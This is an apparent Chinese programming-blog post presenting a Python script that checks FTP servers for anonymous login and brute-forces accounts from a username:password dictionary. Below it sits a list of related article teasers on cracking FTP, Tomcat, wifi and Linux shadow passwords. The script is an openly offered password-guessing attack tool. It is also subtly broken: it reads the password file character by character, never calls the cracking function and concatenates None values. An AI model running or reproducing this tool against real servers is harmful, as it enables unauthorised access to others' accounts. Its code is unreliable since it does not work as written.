FTP弱密码包爆破

原创 2016年08月31日 16:43:00
#_*_coding_*_:utf-8
from ftplib import *
import argparse
import time
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print ('\n[*] ' + str(hostname) + "FTP Anonymous login successful!")
            return True
    except Exception as e:
        print ('\n[-] ' + str(hostname) + "FTP Anony,ous logon failure!")
        return False
def vlcLogin(hostname,pwdFile):
    try:
        with open(pwdFile,'r') as pf:
            for line in pf.readline():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Trying:' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName,passWord)
                        print ('\n[+]' + str(hostname) + 'FTP login successful:'+ userName + ':' + passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print ('Error: the password file does not exist!')
    print ('\n[-] Cannot crack the FTP password please change the password dictionary try again')
    return (None,None)
def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    parser.add_argument('-H',dest='hostName',help='The host list with"," space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionadry file')
    options = None
    try:
        options = parser.parse_args()
    except:
        print(parser.parse_args(['-h']))
        exit(0)
    hostNames = str(options.hostName).split('.')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)
    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print ('Host: ' + hostName + 'Can anonymously!')
        elif pwdFile != None:
            print ('\n[+] Host: ' + hostName + 'Username:' + username + 'Password:' + password())
    print ('\n[*]------------Scan End!___________________[*]')
if __name__ == '__main__':
    main()


版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

Python绝技笔记--------FTP匿名访问检测、用户名密码爆破、扫描是否存在web服务默认网页

利用ftplib模块 很简单,先获取ftp,然后匿名访问的话用户名是 anonymous# -*- coding: UTF-8 -*- import ftplib def anonLogin(hos...

python3之编写ftp爆破

python3之编写ftp爆破 这里开启metasploitable2,上面默认开启FTP服务,账号密码为msfadmin:msfadmin。下面先实现FTP登录的功能: import ftplib...

Python 测试密码极速爆破工具 – cheetah

Python 测试密码极速爆破工具 – cheetah 。cheetah需requests模块。为安装requests模块但是还没有setuptools模块。

Tomcat密码爆破小记

这个feel倍儿爽,你get到了吗?!

基于Linux上的wifi密码爆破

wifi破解

Linux 密码爆破 shadow 文件解密 破解

需要用到一个工具:John 【跨平台的密码解密工具】下载地址:http://www.openwall.com/john在Windows上创建两个文件 passwd 和 shadow在Linux下 读取...
  • lonet
  • lonet
  • 2011-07-20 22:41
  • 12026

python版通用后台账号密码多线程爆破必杀器

#! /usr/bin/env python2.7 #coding=utf-8 #通用后台账号密码多线程爆破必杀器 import re import os import sys import gz...

burpsuite爆破登陆密码

实战是违法的,哈哈 这里我们以一道题目为例示范如何爆破 题目链接:http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/i...

米斯特白帽培训讲义 漏洞篇 弱口令、爆破、遍历

米斯特白帽培训讲义 漏洞篇 弱口令 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 成因弱口令没有严格和准确的定义,通常认为容易被别人(它们有可能对你...

Python3 实现网站后台弱口令爆破(多线程)

首先,你得有一个好的密码字典。 程序仅用于学习和交流,如果有更好的功能或不足请告知我! 运行程序前需要burpsuite 或者其他代理拦截,得到post以及爆破实际网址才能继续进行。
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)